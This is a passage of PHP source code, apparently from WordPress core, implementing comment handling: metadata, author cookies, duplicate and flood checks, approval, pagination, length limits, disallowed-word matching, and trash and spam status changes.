has no effect if $key is not specified. * Default false. * @return mixed An array if $single is false. The value of meta data field * if $single is true. False for an invalid $comment_id. */ function get_comment_meta( $comment_id, $key = '', $single = false ) { return get_metadata( 'comment', $comment_id, $key, $single ); } /** * Update comment meta field based on comment ID. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and comment ID. * * If the meta field for the comment does not exist, it will be added. * * @since 2.9.0 * * @link https://developer.wordpress.org/reference/functions/update_comment_meta/ * * @param int $comment_id Comment ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. */ function update_comment_meta( $comment_id, $meta_key, $meta_value, $prev_value = '' ) { return update_metadata( 'comment', $comment_id, $meta_key, $meta_value, $prev_value ); } /** * Queues comments for metadata lazy-loading. * * @since 4.5.0 * * @param WP_Comment[] $comments Array of comment objects. */ function wp_queue_comments_for_comment_meta_lazyload( $comments ) { // Don't use `wp_list_pluck()` to avoid by-reference manipulation. $comment_ids = array(); if ( is_array( $comments ) ) { foreach ( $comments as $comment ) { if ( $comment instanceof WP_Comment ) { $comment_ids[] = $comment->comment_ID; } } } if ( $comment_ids ) { $lazyloader = wp_metadata_lazyloader(); $lazyloader->queue_objects( 'comment', $comment_ids ); } } /** * Sets the cookies used to store an unauthenticated commentator's identity. Typically used * to recall previous comments by this commentator that are still held in moderation. * * @since 3.4.0 * @since 4.9.6 The `$cookies_consent` parameter was added. * * @param WP_Comment $comment Comment object. * @param WP_User $user Comment author's user object. The user may not exist. * @param bool $cookies_consent Optional. Comment author's consent to store cookies. Default true. */ function wp_set_comment_cookies( $comment, $user, $cookies_consent = true ) { // If the user already exists, or the user opted out of cookies, don't set cookies. if ( $user->exists() ) { return; } if ( false === $cookies_consent ) { // Remove any existing cookies. $past = time() - YEAR_IN_SECONDS; setcookie( 'comment_author_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN ); setcookie( 'comment_author_email_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN ); setcookie( 'comment_author_url_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN ); return; } /** * Filters the lifetime of the comment cookie in seconds. * * @since 2.8.0 * * @param int $seconds Comment cookie lifetime. Default 30000000. */ $comment_cookie_lifetime = time() + apply_filters( 'comment_cookie_lifetime', 30000000 ); $secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) ); setcookie( 'comment_author_' . COOKIEHASH, $comment->comment_author, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure ); setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure ); setcookie( 'comment_author_url_' . COOKIEHASH, esc_url( $comment->comment_author_url ), $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure ); } /** * Sanitizes the cookies sent to the user already. * * Will only do anything if the cookies have already been created for the user. * Mostly used after cookies had been sent to use elsewhere. * * @since 2.0.4 */ function sanitize_comment_cookies() { if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) { /** * Filters the comment author's name cookie before it is set. * * When this filter hook is evaluated in wp_filter_comment(), * the comment author's name string is passed. * * @since 1.5.0 * * @param string $author_cookie The comment author name cookie. */ $comment_author = apply_filters( 'pre_comment_author_name', $_COOKIE[ 'comment_author_' . COOKIEHASH ] ); $comment_author = wp_unslash( $comment_author ); $comment_author = esc_attr( $comment_author ); $_COOKIE[ 'comment_author_' . COOKIEHASH ] = $comment_author; } if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) { /** * Filters the comment author's email cookie before it is set. * * When this filter hook is evaluated in wp_filter_comment(), * the comment author's email string is passed. * * @since 1.5.0 * * @param string $author_email_cookie The comment author email cookie. */ $comment_author_email = apply_filters( 'pre_comment_author_email', $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ); $comment_author_email = wp_unslash( $comment_author_email ); $comment_author_email = esc_attr( $comment_author_email ); $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] = $comment_author_email; } if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) { /** * Filters the comment author's URL cookie before it is set. * * When this filter hook is evaluated in wp_filter_comment(), * the comment author's URL string is passed. * * @since 1.5.0 * * @param string $author_url_cookie The comment author URL cookie. */ $comment_author_url = apply_filters( 'pre_comment_author_url', $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ); $comment_author_url = wp_unslash( $comment_author_url ); $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] = $comment_author_url; } } /** * Validates whether this comment is allowed to be made. * * @since 2.0.0 * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function * to return a WP_Error object instead of dying. * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $commentdata Contains information on the comment. * @param bool $wp_error When true, a disallowed comment will result in the function * returning a WP_Error object, rather than executing wp_die(). * Default false. * @return int|string|WP_Error Allowed comments return the approval status (0|1|'spam'|'trash'). * If `$wp_error` is true, disallowed comments return a WP_Error. */ function wp_allow_comment( $commentdata, $wp_error = false ) { global $wpdb; // Simple duplicate check. // expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content) $dupe = $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = %s AND comment_approved != 'trash' AND ( comment_author = %s ", wp_unslash( $commentdata['comment_post_ID'] ), wp_unslash( $commentdata['comment_parent'] ), wp_unslash( $commentdata['comment_author'] ) ); if ( $commentdata['comment_author_email'] ) { $dupe .= $wpdb->prepare( 'AND comment_author_email = %s ', wp_unslash( $commentdata['comment_author_email'] ) ); } $dupe .= $wpdb->prepare( ') AND comment_content = %s LIMIT 1', wp_unslash( $commentdata['comment_content'] ) ); $dupe_id = $wpdb->get_var( $dupe ); /** * Filters the ID, if any, of the duplicate comment found when creating a new comment. * * Return an empty value from this filter to allow what WP considers a duplicate comment. * * @since 4.4.0 * * @param int $dupe_id ID of the comment identified as a duplicate. * @param array $commentdata Data for the comment being created. */ $dupe_id = apply_filters( 'duplicate_comment_id', $dupe_id, $commentdata ); if ( $dupe_id ) { /** * Fires immediately after a duplicate comment is detected. * * @since 3.0.0 * * @param array $commentdata Comment data. */ do_action( 'comment_duplicate_trigger', $commentdata ); /** * Filters duplicate comment error message. * * @since 5.2.0 * * @param string $comment_duplicate_message Duplicate comment error message. */ $comment_duplicate_message = apply_filters( 'comment_duplicate_message', __( 'Duplicate comment detected; it looks as though you’ve already said that!' ) ); if ( $wp_error ) { return new WP_Error( 'comment_duplicate', $comment_duplicate_message, 409 ); } else { if ( wp_doing_ajax() ) { die( $comment_duplicate_message ); } wp_die( $comment_duplicate_message, 409 ); } } /** * Fires immediately before a comment is marked approved. * * Allows checking for comment flooding. * * @since 2.3.0 * @since 4.7.0 The `$avoid_die` parameter was added. * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`. * * @param string $comment_author_IP Comment author's IP address. * @param string $comment_author_email Comment author's email. * @param string $comment_date_gmt GMT date the comment was posted. * @param bool $wp_error Whether to return a WP_Error object instead of executing * wp_die() or die() if a comment flood is occurring. */ do_action( 'check_comment_flood', $commentdata['comment_author_IP'], $commentdata['comment_author_email'], $commentdata['comment_date_gmt'], $wp_error ); /** * Filters whether a comment is part of a comment flood. * * The default check is wp_check_comment_flood(). See check_comment_flood_db(). * * @since 4.7.0 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`. * * @param bool $is_flood Is a comment flooding occurring? Default false. * @param string $comment_author_IP Comment author's IP address. * @param string $comment_author_email Comment author's email. * @param string $comment_date_gmt GMT date the comment was posted. * @param bool $wp_error Whether to return a WP_Error object instead of executing * wp_die() or die() if a comment flood is occurring. */ $is_flood = apply_filters( 'wp_is_comment_flood', false, $commentdata['comment_author_IP'], $commentdata['comment_author_email'], $commentdata['comment_date_gmt'], $wp_error ); if ( $is_flood ) { /** This filter is documented in wp-includes/comment-template.php */ $comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) ); return new WP_Error( 'comment_flood', $comment_flood_message, 429 ); } if ( ! empty( $commentdata['user_id'] ) ) { $user = get_userdata( $commentdata['user_id'] ); $post_author = $wpdb->get_var( $wpdb->prepare( "SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1", $commentdata['comment_post_ID'] ) ); } if ( isset( $user ) && ( $commentdata['user_id'] == $post_author || $user->has_cap( 'moderate_comments' ) ) ) { // The author and the admins get respect. $approved = 1; } else { // Everyone else's comments will be checked. if ( check_comment( $commentdata['comment_author'], $commentdata['comment_author_email'], $commentdata['comment_author_url'], $commentdata['comment_content'], $commentdata['comment_author_IP'], $commentdata['comment_agent'], $commentdata['comment_type'] ) ) { $approved = 1; } else { $approved = 0; } if ( wp_check_comment_disallowed_list( $commentdata['comment_author'], $commentdata['comment_author_email'], $commentdata['comment_author_url'], $commentdata['comment_content'], $commentdata['comment_author_IP'], $commentdata['comment_agent'] ) ) { $approved = EMPTY_TRASH_DAYS ? 'trash' : 'spam'; } } /** * Filters a comment's approval status before it is set. * * @since 2.1.0 * @since 4.9.0 Returning a WP_Error value from the filter will short-circuit comment insertion * and allow skipping further processing. * * @param int|string|WP_Error $approved The approval status. Accepts 1, 0, 'spam', 'trash', * or WP_Error. * @param array $commentdata Comment data. */ return apply_filters( 'pre_comment_approved', $approved, $commentdata ); } /** * Hooks WP's native database-based comment-flood check. * * This wrapper maintains backward compatibility with plugins that expect to * be able to unhook the legacy check_comment_flood_db() function from * 'check_comment_flood' using remove_action(). * * @since 2.3.0 * @since 4.7.0 Converted to be an add_filter() wrapper. */ function check_comment_flood_db() { add_filter( 'wp_is_comment_flood', 'wp_check_comment_flood', 10, 5 ); } /** * Checks whether comment flooding is occurring. * * Won't run, if current user can manage options, so to not block * administrators. * * @since 4.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $is_flood Is a comment flooding occurring? * @param string $ip Comment author's IP address. * @param string $email Comment author's email address. * @param string $date MySQL time string. * @param bool $avoid_die When true, a disallowed comment will result in the function * returning without executing wp_die() or die(). Default false. * @return bool Whether comment flooding is occurring. */ function wp_check_comment_flood( $is_flood, $ip, $email, $date, $avoid_die = false ) { global $wpdb; // Another callback has declared a flood. Trust it. if ( true === $is_flood ) { return $is_flood; } // Don't throttle admins or moderators. if ( current_user_can( 'manage_options' ) || current_user_can( 'moderate_comments' ) ) { return false; } $hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS ); if ( is_user_logged_in() ) { $user = get_current_user_id(); $check_column = '`user_id`'; } else { $user = $ip; $check_column = '`comment_author_IP`'; } $sql = $wpdb->prepare( "SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( $check_column = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1", $hour_ago, $user, $email ); $lasttime = $wpdb->get_var( $sql ); if ( $lasttime ) { $time_lastcomment = mysql2date( 'U', $lasttime, false ); $time_newcomment = mysql2date( 'U', $date, false ); /** * Filters the comment flood status. * * @since 2.1.0 * * @param bool $bool Whether a comment flood is occurring. Default false. * @param int $time_lastcomment Timestamp of when the last comment was posted. * @param int $time_newcomment Timestamp of when the new comment was posted. */ $flood_die = apply_filters( 'comment_flood_filter', false, $time_lastcomment, $time_newcomment ); if ( $flood_die ) { /** * Fires before the comment flood message is triggered. * * @since 1.5.0 * * @param int $time_lastcomment Timestamp of when the last comment was posted. * @param int $time_newcomment Timestamp of when the new comment was posted. */ do_action( 'comment_flood_trigger', $time_lastcomment, $time_newcomment ); if ( $avoid_die ) { return true; } else { /** * Filters the comment flood error message. * * @since 5.2.0 * * @param string $comment_flood_message Comment flood error message. */ $comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) ); if ( wp_doing_ajax() ) { die( $comment_flood_message ); } wp_die( $comment_flood_message, 429 ); } } } return false; } /** * Separates an array of comments into an array keyed by comment_type. * * @since 2.7.0 * * @param WP_Comment[] $comments Array of comments * @return WP_Comment[] Array of comments keyed by comment_type. */ function separate_comments( &$comments ) { $comments_by_type = array( 'comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array(), ); $count = count( $comments ); for ( $i = 0; $i < $count; $i++ ) { $type = $comments[ $i ]->comment_type; if ( empty( $type ) ) { $type = 'comment'; } $comments_by_type[ $type ][] = &$comments[ $i ]; if ( 'trackback' === $type || 'pingback' === $type ) { $comments_by_type['pings'][] = &$comments[ $i ]; } } return $comments_by_type; } /** * Calculate the total number of comment pages. * * @since 2.7.0 * * @uses Walker_Comment * * @global WP_Query $wp_query WordPress Query object. * * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. Defaults to `$wp_query->comments`. * @param int $per_page Optional. Comments per page. * @param bool $threaded Optional. Control over flat or threaded comments. * @return int Number of comment pages. */ function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) { global $wp_query; if ( null === $comments && null === $per_page && null === $threaded && ! empty( $wp_query->max_num_comment_pages ) ) { return $wp_query->max_num_comment_pages; } if ( ( ! $comments || ! is_array( $comments ) ) && ! empty( $wp_query->comments ) ) { $comments = $wp_query->comments; } if ( empty( $comments ) ) { return 0; } if ( ! get_option( 'page_comments' ) ) { return 1; } if ( ! isset( $per_page ) ) { $per_page = (int) get_query_var( 'comments_per_page' ); } if ( 0 === $per_page ) { $per_page = (int) get_option( 'comments_per_page' ); } if ( 0 === $per_page ) { return 1; } if ( ! isset( $threaded ) ) { $threaded = get_option( 'thread_comments' ); } if ( $threaded ) { $walker = new Walker_Comment; $count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page ); } else { $count = ceil( count( $comments ) / $per_page ); } return $count; } /** * Calculate what page number a comment will appear on for comment paging. * * @since 2.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $comment_ID Comment ID. * @param array $args { * Array of optional arguments. * * @type string $type Limit paginated comments to those matching a given type. * Accepts 'comment', 'trackback', 'pingback', 'pings' * (trackbacks and pingbacks), or 'all'. Default 'all'. * @type int $per_page Per-page count to use when calculating pagination. * Defaults to the value of the 'comments_per_page' option. * @type int|string $max_depth If greater than 1, comment page will be determined * for the top-level parent `$comment_ID`. * Defaults to the value of the 'thread_comments_depth' option. * } * * @return int|null Comment page number or null on error. */ function get_page_of_comment( $comment_ID, $args = array() ) { global $wpdb; $page = null; $comment = get_comment( $comment_ID ); if ( ! $comment ) { return; } $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '', ); $args = wp_parse_args( $args, $defaults ); $original_args = $args; // Order of precedence: 1. `$args['per_page']`, 2. 'comments_per_page' query_var, 3. 'comments_per_page' option. if ( get_option( 'page_comments' ) ) { if ( '' === $args['per_page'] ) { $args['per_page'] = get_query_var( 'comments_per_page' ); } if ( '' === $args['per_page'] ) { $args['per_page'] = get_option( 'comments_per_page' ); } } if ( empty( $args['per_page'] ) ) { $args['per_page'] = 0; $args['page'] = 0; } if ( $args['per_page'] < 1 ) { $page = 1; } if ( null === $page ) { if ( '' === $args['max_depth'] ) { if ( get_option( 'thread_comments' ) ) { $args['max_depth'] = get_option( 'thread_comments_depth' ); } else { $args['max_depth'] = -1; } } // Find this comment's top-level parent if threading is enabled. if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent ) { return get_page_of_comment( $comment->comment_parent, $args ); } $comment_args = array( 'type' => $args['type'], 'post_id' => $comment->comment_post_ID, 'fields' => 'ids', 'count' => true, 'status' => 'approve', 'parent' => 0, 'date_query' => array( array( 'column' => "$wpdb->comments.comment_date_gmt", 'before' => $comment->comment_date_gmt, ), ), ); if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] = array( $unapproved_email ); } } /** * Filters the arguments used to query comments in get_page_of_comment(). * * @since 5.5.0 * * @see WP_Comment_Query::__construct() * * @param array $comment_args { * Array of WP_Comment_Query arguments. * * @type string $type Limit paginated comments to those matching a given type. * Accepts 'comment', 'trackback', 'pingback', 'pings' * (trackbacks and pingbacks), or 'all'. Default 'all'. * @type int $post_id ID of the post. * @type string $fields Comment fields to return. * @type bool $count Whether to return a comment count (true) or array * of comment objects (false). * @type string $status Comment status. * @type int $parent Parent ID of comment to retrieve children of. * @type array $date_query Date query clauses to limit comments by. See WP_Date_Query. * @type array $include_unapproved Array of IDs or email addresses whose unapproved comments * will be included in paginated comments. * } */ $comment_args = apply_filters( 'get_page_of_comment_query_args', $comment_args ); $comment_query = new WP_Comment_Query(); $older_comment_count = $comment_query->query( $comment_args ); // No older comments? Then it's page #1. if ( 0 == $older_comment_count ) { $page = 1; // Divide comments older than this one by comments per page to get this comment's page number. } else { $page = ceil( ( $older_comment_count + 1 ) / $args['per_page'] ); } } /** * Filters the calculated page on which a comment appears. * * @since 4.4.0 * @since 4.7.0 Introduced the `$comment_ID` parameter. * * @param int $page Comment page. * @param array $args { * Arguments used to calculate pagination. These include arguments auto-detected by the function, * based on query vars, system settings, etc. For pristine arguments passed to the function, * see `$original_args`. * * @type string $type Type of comments to count. * @type int $page Calculated current page. * @type int $per_page Calculated number of comments per page. * @type int $max_depth Maximum comment threading depth allowed. * } * @param array $original_args { * Array of arguments passed to the function. Some or all of these may not be set. * * @type string $type Type of comments to count. * @type int $page Current comment page. * @type int $per_page Number of comments per page. * @type int $max_depth Maximum comment threading depth allowed. * } * @param int $comment_ID ID of the comment. */ return apply_filters( 'get_page_of_comment', (int) $page, $args, $original_args, $comment_ID ); } /** * Retrieves the maximum character lengths for the comment form fields. * * @since 4.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int[] Array of maximum lengths keyed by field name. */ function wp_get_comment_fields_max_lengths() { global $wpdb; $lengths = array( 'comment_author' => 245, 'comment_author_email' => 100, 'comment_author_url' => 200, 'comment_content' => 65525, ); if ( $wpdb->is_mysql ) { foreach ( $lengths as $column => $length ) { $col_length = $wpdb->get_col_length( $wpdb->comments, $column ); $max_length = 0; // No point if we can't get the DB column lengths. if ( is_wp_error( $col_length ) ) { break; } if ( ! is_array( $col_length ) && (int) $col_length > 0 ) { $max_length = (int) $col_length; } elseif ( is_array( $col_length ) && isset( $col_length['length'] ) && (int) $col_length['length'] > 0 ) { $max_length = (int) $col_length['length']; if ( ! empty( $col_length['type'] ) && 'byte' === $col_length['type'] ) { $max_length = $max_length - 10; } } if ( $max_length > 0 ) { $lengths[ $column ] = $max_length; } } } /** * Filters the lengths for the comment form fields. * * @since 4.5.0 * * @param int[] $lengths Array of maximum lengths keyed by field name. */ return apply_filters( 'wp_get_comment_fields_max_lengths', $lengths ); } /** * Compares the lengths of comment data against the maximum character limits. * * @since 4.7.0 * * @param array $comment_data Array of arguments for inserting a comment. * @return WP_Error|true WP_Error when a comment field exceeds the limit, * otherwise true. */ function wp_check_comment_data_max_lengths( $comment_data ) { $max_lengths = wp_get_comment_fields_max_lengths(); if ( isset( $comment_data['comment_author'] ) && mb_strlen( $comment_data['comment_author'], '8bit' ) > $max_lengths['comment_author'] ) { return new WP_Error( 'comment_author_column_length', __( 'Error: Your name is too long.' ), 200 ); } if ( isset( $comment_data['comment_author_email'] ) && strlen( $comment_data['comment_author_email'] ) > $max_lengths['comment_author_email'] ) { return new WP_Error( 'comment_author_email_column_length', __( 'Error: Your email address is too long.' ), 200 ); } if ( isset( $comment_data['comment_author_url'] ) && strlen( $comment_data['comment_author_url'] ) > $max_lengths['comment_author_url'] ) { return new WP_Error( 'comment_author_url_column_length', __( 'Error: Your URL is too long.' ), 200 ); } if ( isset( $comment_data['comment_content'] ) && mb_strlen( $comment_data['comment_content'], '8bit' ) > $max_lengths['comment_content'] ) { return new WP_Error( 'comment_content_column_length', __( 'Error: Your comment is too long.' ), 200 ); } return true; } /** * Checks if a comment contains disallowed characters or words. * * @since 5.5.0 * * @param string $author The author of the comment * @param string $email The email of the comment * @param string $url The url used in the comment * @param string $comment The comment content * @param string $user_ip The comment author's IP address * @param string $user_agent The author's browser user agent * @return bool True if comment contains disallowed content, false if comment does not */ function wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent ) { /** * Fires before the comment is tested for disallowed characters or words. * * @since 1.5.0 * @deprecated 5.5.0 Use {@see 'wp_check_comment_disallowed_list'} instead. * * @param string $author Comment author. * @param string $email Comment author's email. * @param string $url Comment author's URL. * @param string $comment Comment content. * @param string $user_ip Comment author's IP address. * @param string $user_agent Comment author's browser user agent. */ do_action_deprecated( 'wp_blacklist_check', array( $author, $email, $url, $comment, $user_ip, $user_agent ), '5.5.0', 'wp_check_comment_disallowed_list', __( 'Please consider writing more inclusive code.' ) ); /** * Fires before the comment is tested for disallowed characters or words. * * @since 5.5.0 * * @param string $author Comment author. * @param string $email Comment author's email. * @param string $url Comment author's URL. * @param string $comment Comment content. * @param string $user_ip Comment author's IP address. * @param string $user_agent Comment author's browser user agent. */ do_action( 'wp_check_comment_disallowed_list', $author, $email, $url, $comment, $user_ip, $user_agent ); $mod_keys = trim( get_option( 'disallowed_keys' ) ); if ( '' === $mod_keys ) { return false; // If moderation keys are empty. } // Ensure HTML tags are not being used to bypass the list of disallowed characters and words. $comment_without_html = wp_strip_all_tags( $comment ); $words = explode( "\n", $mod_keys ); foreach ( (array) $words as $word ) { $word = trim( $word ); // Skip empty lines. if ( empty( $word ) ) { continue; } // Do some escaping magic so that '#' chars // in the spam words don't break things: $word = preg_quote( $word, '#' ); $pattern = "#$word#i"; if ( preg_match( $pattern, $author ) || preg_match( $pattern, $email ) || preg_match( $pattern, $url ) || preg_match( $pattern, $comment ) || preg_match( $pattern, $comment_without_html ) || preg_match( $pattern, $user_ip ) || preg_match( $pattern, $user_agent ) ) { return true; } } return false; } /** * Retrieves the total comment counts for the whole site or a single post. * * The comment stats are cached and then retrieved, if they already exist in the * cache. * * @see get_comment_count() Which handles fetching the live comment counts. * * @since 2.5.0 * * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that * comment counts for the whole site will be retrieved. * @return stdClass { * The number of comments keyed by their status. * * @type int $approved The number of approved comments. * @type int $moderated The number of comments awaiting moderation (a.k.a. pending). * @type int $spam The number of spam comments. * @type int $trash The number of trashed comments. * @type int $post-trashed The number of comments for posts that are in the trash. * @type int $total_comments The total number of non-trashed comments, including spam. * @type int $all The total number of pending or approved comments. * } */ function wp_count_comments( $post_id = 0 ) { $post_id = (int) $post_id; /** * Filters the comments count for a given post or the whole site. * * @since 2.7.0 * * @param array|stdClass $count An empty array or an object containing comment counts. * @param int $post_id The post ID. Can be 0 to represent the whole site. */ $filtered = apply_filters( 'wp_count_comments', array(), $post_id ); if ( ! empty( $filtered ) ) { return $filtered; } $count = wp_cache_get( "comments-{$post_id}", 'counts' ); if ( false !== $count ) { return $count; } $stats = get_comment_count( $post_id ); $stats['moderated'] = $stats['awaiting_moderation']; unset( $stats['awaiting_moderation'] ); $stats_object = (object) $stats; wp_cache_set( "comments-{$post_id}", $stats_object, 'counts' ); return $stats_object; } /** * Trashes or deletes a comment. * * The comment is moved to Trash instead of permanently deleted unless Trash is * disabled, item is already in the Trash, or $force_delete is true. * * The post comment count will be updated if the comment was approved and has a * post ID available. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @param bool $force_delete Whether to bypass Trash and force deletion. Default false. * @return bool True on success, false on failure. */ function wp_delete_comment( $comment_id, $force_delete = false ) { global $wpdb; $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } if ( ! $force_delete && EMPTY_TRASH_DAYS && ! in_array( wp_get_comment_status( $comment ), array( 'trash', 'spam' ), true ) ) { return wp_trash_comment( $comment_id ); } /** * Fires immediately before a comment is deleted from the database. * * @since 1.2.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment to be deleted. */ do_action( 'delete_comment', $comment->comment_ID, $comment ); // Move children up a level. $children = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment->comment_ID ) ); if ( ! empty( $children ) ) { $wpdb->update( $wpdb->comments, array( 'comment_parent' => $comment->comment_parent ), array( 'comment_parent' => $comment->comment_ID ) ); clean_comment_cache( $children ); } // Delete metadata. $meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment->comment_ID ) ); foreach ( $meta_ids as $mid ) { delete_metadata_by_mid( 'comment', $mid ); } if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment->comment_ID ) ) ) { return false; } /** * Fires immediately after a comment is deleted from the database. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The deleted comment. */ do_action( 'deleted_comment', $comment->comment_ID, $comment ); $post_id = $comment->comment_post_ID; if ( $post_id && 1 == $comment->comment_approved ) { wp_update_comment_count( $post_id ); } clean_comment_cache( $comment->comment_ID ); /** This action is documented in wp-includes/comment.php */ do_action( 'wp_set_comment_status', $comment->comment_ID, 'delete' ); wp_transition_comment_status( 'delete', $comment->comment_approved, $comment ); return true; } /** * Moves a comment to the Trash * * If Trash is disabled, comment is permanently deleted. * * @since 2.9.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @return bool True on success, false on failure. */ function wp_trash_comment( $comment_id ) { if ( ! EMPTY_TRASH_DAYS ) { return wp_delete_comment( $comment_id, true ); } $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } /** * Fires immediately before a comment is sent to the Trash. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment to be trashed. */ do_action( 'trash_comment', $comment->comment_ID, $comment ); if ( wp_set_comment_status( $comment, 'trash' ) ) { delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' ); delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' ); add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved ); add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() ); /** * Fires immediately after a comment is sent to Trash. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The trashed comment. */ do_action( 'trashed_comment', $comment->comment_ID, $comment ); return true; } return false; } /** * Removes a comment from the Trash * * @since 2.9.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @return bool True on success, false on failure. */ function wp_untrash_comment( $comment_id ) { $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } /** * Fires immediately before a comment is restored from the Trash. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment to be untrashed. */ do_action( 'untrash_comment', $comment->comment_ID, $comment ); $status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ); if ( empty( $status ) ) { $status = '0'; } if ( wp_set_comment_status( $comment, $status ) ) { delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' ); delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' ); /** * Fires immediately after a comment is restored from the Trash. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The untrashed comment. */ do_action( 'untrashed_comment', $comment->comment_ID, $comment ); return true; } return false; } /** * Marks a comment as Spam * * @since 2.9.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @return bool True on success, false on failure. */ function wp_spam_comment( $comment_id ) { $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } /** * Fires immediately before a comment is marked as Spam. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment to be marked as spam. */ do_action( 'spam_comment', $comment->comment_ID, $comment ); if ( wp_set_comment_status( $comment, 'spam' ) ) { delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' ); delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' ); add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved ); add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() ); /** * Fires immediately after a comment is marked as Spam. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment marked as spam. */ do_action( 'spammed_comment', $comment->comment_ID, $comment ); return true; } return false; } /** * Removes a comment from the Spam * * @since 2.9.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @return bool True on success, false on failure. */ function wp_unspam_comment( $comment_id ) { $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } /** * Fires immediately before a comment is unmarked as Spam. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment to be unmarked as spam. */ do_action( 'unspam_comment', $comment->comment_ID, $comment ); $status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ); if ( empty( $status ) ) { $status = '0'; } if ( wp_set_comment_status( $comment, $status ) ) { delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' ); 